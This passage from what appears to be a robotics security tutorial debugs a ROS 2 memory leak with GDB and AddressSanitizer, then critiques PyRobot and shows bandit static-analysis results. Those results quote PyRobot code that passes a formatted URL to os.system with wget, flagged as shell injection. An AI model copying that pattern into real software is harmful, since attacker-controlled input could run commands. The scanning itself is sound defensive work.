    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    ─── Assembly ──────────────────────────────────────────────────────────────────────────────────────
    0x00005555555d5120 main+4  sub    $0x10,%rsp
    0x00005555555d5124 main+8  mov    %edi,-0x4(%rbp)
    0x00005555555d5127 main+11 mov    %rsi,-0x10(%rbp)
    0x00005555555d512b main+15 lea    0x9d70e(%rip),%rsi        # 0x555555672840
    0x00005555555d5132 main+22 lea    0x9d787(%rip),%rdi        # 0x5555556728c0
    0x00005555555d5139 main+29 mov    $0x0,%eax
    0x00005555555d513e main+34 callq  0x5555555868e0 <printf@plt>
    ─── Expressions ───────────────────────────────────────────────────────────────────────────────────
    ─── History ───────────────────────────────────────────────────────────────────────────────────────
    ─── Memory ────────────────────────────────────────────────────────────────────────────────────────
    ─── Registers ─────────────────────────────────────────────────────────────────────────────────────
       rax 0x00005555555d511c           rbx 0x0000000000000000           rcx 0x0000000000000360
       rdx 0x00007fffffff4b38           rsi 0x00007fffffff4b28           rdi 0x0000000000000001
       rbp 0x00007fffffff4a40           rsp 0x00007fffffff4a30            r8 0x0000619000073f80
        r9 0x0000000000000000           r10 0x00007fffffff3e78           r11 0x00007fffffff3e78
       r12 0x0000555555586ba0           r13 0x00007fffffff4b20           r14 0x0000000000000000
       r15 0x0000000000000000           rip 0x00005555555d512b        eflags [ PF IF ]
        cs 0x00000033                    ss 0x0000002b                    ds 0x00000000
        es 0x00000000                    fs 0x00000000                    gs 0x00000000
    ─── Source ────────────────────────────────────────────────────────────────────────────────────────
    29
    30 #include <stdio.h>
    31 #include "gtest/gtest.h"
    32
    33 GTEST_API_ int main(int argc, char **argv) {
    34   printf("Running main() from %s\n", __FILE__);
    35   testing::InitGoogleTest(&argc, argv);
    36   return RUN_ALL_TESTS();
    37 }
    ─── Stack ─────────────────────────────────────────────────────────────────────────────────────────
    [0] from 0x00005555555d512b in main+15 at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:34
    arg argc = 1
    arg argv = 0x7fffffff4b28
    ─── Threads ───────────────────────────────────────────────────────────────────────────────────────
    [1] id 1308 name test_graph__rmw from 0x00005555555d512b in main+15 at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:34
    ───────────────────────────────────────────────────────────────────────────────────────────────────

    Breakpoint 1, main (argc=1, argv=0x7fffffff4b28) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:34
    34    printf("Running main() from %s\n", __FILE__);
    >>> set pagination off
    >>> hbreak calloc
    Hardware assisted breakpoint 2 at 0x7ffff56f6030: calloc. (3 locations)
    >>> commands
    Type commands for breakpoint(s) 2, one per line.
    End with a line saying just "end".
    >  set $callocsize = (unsigned long long) $rsi
    >  continue
    >end
    >>> break *(calloc-15694047) if $callocsize == 56
    Breakpoint 3 at 0x7ffff6ef8d01
    >>> c
    Continuing.
    ─── Output/messages ───────────────────────────────────────────────────────────────────────────────
    Running main() from /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
    [==========] Running 14 tests from 2 test cases.
    [----------] Global test environment set-up.
    [----------] 11 tests from TestGraphFixture__rmw_fastrtps_cpp
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_and_destroy_topic_names_and_types
    ─── Output/messages ───────────────────────────────────────────────────────────────────────────────
    ─── Assembly ──────────────────────────────────────────────────────────────────────────────────────
    Selected thread is running.
    ─── Expressions ───────────────────────────────────────────────────────────────────────────────────
    ─── History ───────────────────────────────────────────────────────────────────────────────────────
    ─── Memory ────────────────────────────────────────────────────────────────────────────────────────
    ─── Registers ─────────────────────────────────────────────────────────────────────────────────────
    ─── Source ────────────────────────────────────────────────────────────────────────────────────────
    ─── Stack ─────────────────────────────────────────────────────────────────────────────────────────
    ─── Threads ───────────────────────────────────────────────────────────────────────────────────────
    [1] id 1308 name test_graph__rmw (running)
    ───────────────────────────────────────────────────────────────────────────────────────────────────
    Selected thread is running.
    >>>
    ─── Output/messages ───────────────────────────────────────────────────────────────────────────────
    ─── Assembly ──────────────────────────────────────────────────────────────────────────────────────
    Selected thread is running.
    ─── Expressions ───────────────────────────────────────────────────────────────────────────────────
    ─── History ───────────────────────────────────────────────────────────────────────────────────────
    ─── Memory ────────────────────────────────────────────────────────────────────────────────────────
    ─── Registers ─────────────────────────────────────────────────────────────────────────────────────
    ─── Source ────────────────────────────────────────────────────────────────────────────────────────
    ─── Stack ─────────────────────────────────────────────────────────────────────────────────────────
    ─── Threads ───────────────────────────────────────────────────────────────────────────────────────
    [1] id 1308 name test_graph__rmw (running)
    ───────────────────────────────────────────────────────────────────────────────────────────────────
    ...
    >>> ─── Assembly ──────────────────────────────────────────────────────────────────────────────────────
    0x00007ffff643611f rmw_names_and_types_fini+111 movl   $0xf1f1f1f1,0x7fff8000(%r13)
    0x00007ffff643612a rmw_names_and_types_fini+122 movl   $0xf2f2f2f2,0x7fff8084(%r13)
    0x00007ffff6436135 rmw_names_and_types_fini+133 movl   $0xf3f3f3f3,0x7fff8108(%r13)
    0x00007ffff6436140 rmw_names_and_types_fini+144 mov    %fs:0x28,%rax
    0x00007ffff6436149 rmw_names_and_types_fini+153 mov    %rax,-0x28(%rbp)
    0x00007ffff643614d rmw_names_and_types_fini+157 xor    %eax,%eax
    0x00007ffff643614f rmw_names_and_types_fini+159 cmpq   $0x0,-0x8b8(%rbp)
    ─── Expressions ───────────────────────────────────────────────────────────────────────────────────
    ─── History ───────────────────────────────────────────────────────────────────────────────────────
    ─── Memory ────────────────────────────────────────────────────────────────────────────────────────
    ─── Registers ─────────────────────────────────────────────────────────────────────────────────────
       rax 0x00007ffff64360b0           rbx 0x00007fffffff0af0           rcx 0x0000000000000000
       rdx 0x0000000000000000           rsi 0x0000000000000000           rdi 0x00007fffffff1e40
       rbp 0x00007fffffff1390           rsp 0x00007fffffff0ad0            r8 0x00007fffffff1400
        r9 0x0000000000000000           r10 0x0000000000000024           r11 0x00007ffff64360b0
       r12 0x00007fffffff1370           r13 0x00000fffffffe15e           r14 0x00007fffffff0af0
       r15 0x0000000000000000           rip 0x00007ffff6436140        eflags [ IF ]
        cs 0x00000033                    ss 0x0000002b                    ds 0x00000000
        es 0x00000000                    fs 0x00000000                    gs 0x00000000
    ─── Source ────────────────────────────────────────────────────────────────────────────────────────
    81   return RMW_RET_OK;
    82 }
    83
    84 rmw_ret_t
    85 rmw_names_and_types_fini(rmw_names_and_types_t * names_and_types)
    86 {
    87   if (!names_and_types) {
    88     RMW_SET_ERROR_MSG("names_and_types is null");
    89     return RMW_RET_INVALID_ARGUMENT;
    90   }
    91   if (names_and_types->names.size && !names_and_types->types) {
    ─── Stack ─────────────────────────────────────────────────────────────────────────────────────────
    [0] from 0x00007ffff6436140 in rmw_names_and_types_fini+144 at /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:86
    arg names_and_types = 0x7fffffff1e40
    [1] from 0x00007ffff6bb8756 in rcl_names_and_types_fini+62 at /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:213
    arg topic_names_and_types = 0x7fffffff1e40
    [+]
    ─── Threads ───────────────────────────────────────────────────────────────────────────────────────
    [10] id 1335 name test_graph__rmw from 0x00007ffff6000567 in __libc_recvmsg+71 at ../sysdeps/unix/sysv/linux/recvmsg.c:28
    [9] id 1334 name test_graph__rmw from 0x00007ffff6000567 in __libc_recvmsg+71 at ../sysdeps/unix/sysv/linux/recvmsg.c:28
    [8] id 1333 name test_graph__rmw from 0x00007ffff6000567 in __libc_recvmsg+71 at ../sysdeps/unix/sysv/linux/recvmsg.c:28
    [7] id 1319 name test_graph__rmw from 0x00007ffff577dbb7 in epoll_wait+87 at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
    [6] id 1318 name test_graph__rmw from 0x00007ffff5ffb9f3 in futex_wait_cancelable+27 at ../sysdeps/unix/sysv/linux/futex-internal.h:88
    [5] id 1315 name test_graph__rmw from 0x00007ffff6000567 in __libc_recvmsg+71 at ../sysdeps/unix/sysv/linux/recvmsg.c:28
    [4] id 1314 name test_graph__rmw from 0x00007ffff6000567 in __libc_recvmsg+71 at ../sysdeps/unix/sysv/linux/recvmsg.c:28
    [3] id 1313 name test_graph__rmw from 0x00007ffff6000567 in __libc_recvmsg+71 at ../sysdeps/unix/sysv/linux/recvmsg.c:28
    [2] id 1312 name test_graph__rmw from 0x00007ffff577dbb7 in epoll_wait+87 at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
    [1] id 1308 name test_graph__rmw from 0x00007ffff6436140 in rmw_names_and_types_fini+144 at /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:86
    ───────────────────────────────────────────────────────────────────────────────────────────────────

    Thread 1 "test_graph__rmw" hit Breakpoint 4, rmw_names_and_types_fini (names_and_types=0x7fffffff1e40) at /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:86
    86  {
    bt
    #0  rmw_names_and_types_fini (names_and_types=0x7fffffff1e40) at /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:86
    #1  0x00007ffff6bb8756 in rcl_names_and_types_fini (topic_names_and_types=0x7fffffff1e40) at /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:213
    #2  0x0000555555588de1 in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_and_destroy_topic_names_and_types_Test::TestBody (this=0x606000001ca0) at /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:174
    #3  0x0000555555649216 in testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void> (object=0x606000001ca0, method=&virtual testing::Test::TestBody(), location=0x555555676dc0 "the test body") at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
    #4  0x000055555563b36a in testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void> (object=0x606000001ca0, method=&virtual testing::Test::TestBody(), location=0x555555676dc0 "the test body") at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
    #5  0x00005555555e7e52 in testing::Test::Run (this=0x606000001ca0) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
    #6  0x00005555555e927d in testing::TestInfo::Run (this=0x612000000040) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
    #7  0x00005555555e9e21 in testing::TestCase::Run (this=0x611000000400) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
    #8  0x0000555555604f32 in testing::internal::UnitTestImpl::RunAllTests (this=0x615000000800) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
    #9  0x000055555564bcc9 in testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool> (object=0x615000000800, method=(bool (testing::internal::UnitTestImpl::*)(testing::internal::UnitTestImpl * const)) 0x555555604842 <testing::internal::UnitTestImpl::RunAllTests()>, location=0x55555567ae60 "auxiliary test code (environments or event listeners)") at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
    #10 0x000055555563d633 in testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool> (object=0x615000000800, method=(bool (testing::internal::UnitTestImpl::*)(testing::internal::UnitTestImpl * const)) 0x555555604842 <testing::internal::UnitTestImpl::RunAllTests()>, location=0x55555567ae60 "auxiliary test code (environments or event listeners)") at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
    #11 0x0000555555601cc6 in testing::UnitTest::Run (this=0x5555558bea80 <testing::UnitTest::GetInstance()::instance>) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
    #12 0x00005555555d5215 in RUN_ALL_TESTS () at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
    #13 0x00005555555d515b in main (argc=1, argv=0x7fffffff4b28) at /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
    ```

Note that this comes from rcl/test/rcl/test_graph.cpp#L172. Inspecting the code that creates the leak below, we observe that there’s simply no call to such rcl_names_and_types_fini function.

Fix for the bug is available at https://github.com/vmayoral/rcl/commit/ec0e62cd04453f7968fa47f580289d3d06734a1d. Sent it upstream https://github.com/ros2/rcl/pull/468.

Resources

• [1] Tutorial 1: Robot sanitizers in ROS 2 Dashing
• [2] https://github.com/google/sanitizers/wiki/AddressSanitizerAndDebugger
• [3] https://github.com/google/sanitizers/wiki/AddressSanitizerLeakSanitizerVsHeapChecker
• [4] https://www.ibm.com/developerworks/community/blogs/IMSupport/entry/LINUX_GDB_IDENTIFY_MEMORY_LEAKS?lang=en
• [5] https://www.usenix.org/system/files/conference/atc12/atc12-final39.pdf

Robot sanitizers with Gazebo

Let’s start by compiling the moveit2 workspace by hand using ASan flags:

colcon build --build-base=build-asan --install-base=install-asan --cmake-args -DOSRF_TESTING_TOOLS_CPP_DISABLE_MEMORY_TOOLS=ON  -DINSTALL_EXAMPLES=OFF -DSECURITY=ON --no-warn-unused-cli -DCMAKE_BUILD_TYPE=Debug --mixin asan-gcc --merge-install

Resources

• [1] https://www.usenix.org/system/files/conference/atc12/atc12-final39.pdf

Static analysis of PyRobot

Discussing PyRobot

This section briefly discusses pyrobot and provides a biased opinion on how valid the contribution is for the AI and robotic communities.

The rationale behind PyRobot

PyRobot has been developed and published by Facebook Artificial Intelligence research group. From the Facebook announcement:

PyRobot is a framework and ecosystem that enables AI researchers and students to get up and running with a robot in just a few hours, without specialized knowledge of the hardware or of details such as device drivers, control, and planning. PyRobot will help Facebook AI advance our long-term robotics research, which aims to develop embodied AI systems that can learn efficiently by interacting with the physical world. We are now open-sourcing PyRobot to help others in the AI and robotics community as well.

From this text one could say that the original authors not only aim to apply AI techniques to robots but specifically, come from an AI background and found the overall ROS ecosystem “too complex” (from my experience this is often the case of many software engineers diving into robotics). AI engineers often tend to disregard the complexity of robots and attempt find shortcuts that leave aside relevant technical aspects:

PyRobot abstracts away details about low-level controllers and interprocess communication, so machine learning (ML) experts and others can simply focus on building high-level AI robotics applications.

There’s still a strong discussion in the robotics community on whether AI techniques do actually outperform formal methods (traditional control mechanisms). This might indeed be the case on vision-powered applications but applying machine learning techniques end-to-end might not deliver the most optimal results as already reported in several articles.

Robotics is the art of system integration and requires roboticists to care strongly about things such as determinism, real-time, security or safety. These aspects aren’t often the first priority for most AI engineers (changing policies is typically what most would expect). This is a recurrent situation that’s happening over and over with engineers jumping from AI-related areas to robotics. The desire of AI-oriented groups to apply “only AI” in robotics justifies the creation of yet new robotic frameworks reinventing the wheel unnecessarily. This happens every now and then. Most of these tools fail to grasp the technical aspects of robots and fail to provide means for complying with critical aspects in robotics.

Diving into PyRobot’s architecture

According to its official paper [2], PyRobot is an open-source robotics framework for research and benchmarking. More specifically, PyRobot is defined as a light-weight, high-level interface on top of ROS that provides a consistent set of hardware independent midlevel APIs to control different robots.

(this sounds surprisingly close to ROS 1 original goals in a way, years after though)

According to its authors, the main problems that this framework solves are:

ROS requires expertise: Dominant robotic software packages like ROS and MoveIt! are complex and require a substantial breadth of knowledge to understand the full stack of planners, kinematics libraries and low-level controllers. On the other hand, most new users do not have the necessary expertise or time to acquire a thorough understanding of the software stack. A light weight, high-level interface would ease the learning curve for AI practitioners, students and hobbyists interested in getting started in robotics.

This has historically been one of the main criticisims about ROS. ROS indeed has a learning curve however, there’re good reasons behind the complexity and layered architecture of the framework. Building a robotic application is a complicated task and reusing software requires a modular architecture. ROS was originally designed with an academic purpose and later on extended for its deployment in the PR2.

Over the last few years ROS has transitioned from a research-oriented tool to an industrial-grade set of tools that power nowdays most complicated robotic behaviors. The result of this growth is clear when looking at ROS 2 which has been thought for industry-related use cases and with active discussions around security, safety or real-time.

Lack of hardware-independent APIs: Writing hardware-independant software is extremely challenging. In the ROS ecosystem, this was partly handled by encapsulating hardware-specific details in the Universal Robot Description Format (URDF) which other downstream services

I’d argue against this. In fact, ROS is well known for its hardware abstraction layer that allows dozens of sensors and/or actuators to interoperate. Motion planning, manipulation and navigation stacks in the ROS world (namely the nav stack or moveit) have been built in a hardware agnostic manner and provide means of extension.

The most striking fact about PyRobot is that it seems to ommit that ROS provides upper layers of abstraction (what would match as High-Level in the ROS section of the graph above) that capture complete robots. ROS-I official repos[4] group a number of such.

While the aim of PyRobot seems to be clearly centered around “accelerating AI robotics research”, a somewhat simple way to compare PyRobot to existing de facto standards frameworks in robotics (such as ROS abstractions for a variety of robots) is to analyze the quality of the code generated. Quality Assurance (QA) methods are common in robotics and there’re several open source and community projects pushing towards the enhancement of open tools in the ROS community.

There’s a variety of ways to review the quality of code. One simple manner is to perform a static analysis of the overall framework code and assess potential security flaws. The next section looks into this.

## Performing a static analysis in the code

Let’s quickly

Results of bandit

bandit -r .
    [main]  INFO    profile include tests: None
    [main]  INFO    profile exclude tests: None
    [main]  INFO    cli include tests: None
    [main]  INFO    cli exclude tests: None
    [main]  INFO    running on Python 3.7.3
    116 [0.. 50.. 100.. ]
    Run started:2019-06-24 21:09:09.231683
    
    Test results:
    >> Issue: [B403:blacklist] Consider possible security implications associated with pickle module.
       Severity: Low   Confidence: High
       Location: ./examples/crash_detection/crash_utils/train.py:10
       More Info: https://bandit.readthedocs.io/en/latest/blacklists/blacklist_imports.html#b403-import-pickle
    9   import os
    10  import pickle
    11  import time
    
    --------------------------------------------------
    >> Issue: [B605:start_process_with_a_shell] Starting a process with a shell, possible injection detected, security issue.
       Severity: High   Confidence: High
       Location: ./examples/crash_detection/locobot_kobuki.py:57
       More Info: https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html
    56          print('CRASH MODEL NOT FOUND! DOWNLOADING IT!')
    57          os.system('wget {} -O {}'.format(url, model_path))
    58
    
    --------------------------------------------------
    >> Issue: [B605:start_process_with_a_shell] Starting a process with a shell, possible injection detected, security issue.
       Severity: High   Confidence: High
       Location: ./examples/grasping/grasp_samplers/grasp_model.py:46
       More Info: https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html
    45          print('GRASP MODEL NOT FOUND! DOWNLOADING IT!')
    46          os.system('wget {} -O {}'.format(url, model_path))
    47
    
    ...
    --------------------------------------------------
    
    Code scanned:
        Total lines of code: 10588
        Total lines skipped (#nosec): 0
    
    Run metrics:
        Total issues (by severity):
            Undefined: 0.0
            Low: 105.0
            Medium: 6.0
            High: 2.0
        Total issues (by confidence):
            Undefined: 0.0
            Low: 0.0
            Medium: 0.0
            High: 113.0
    Files skipped (1):
        ./examples/sim2real/test.py (syntax error while parsing AST from file)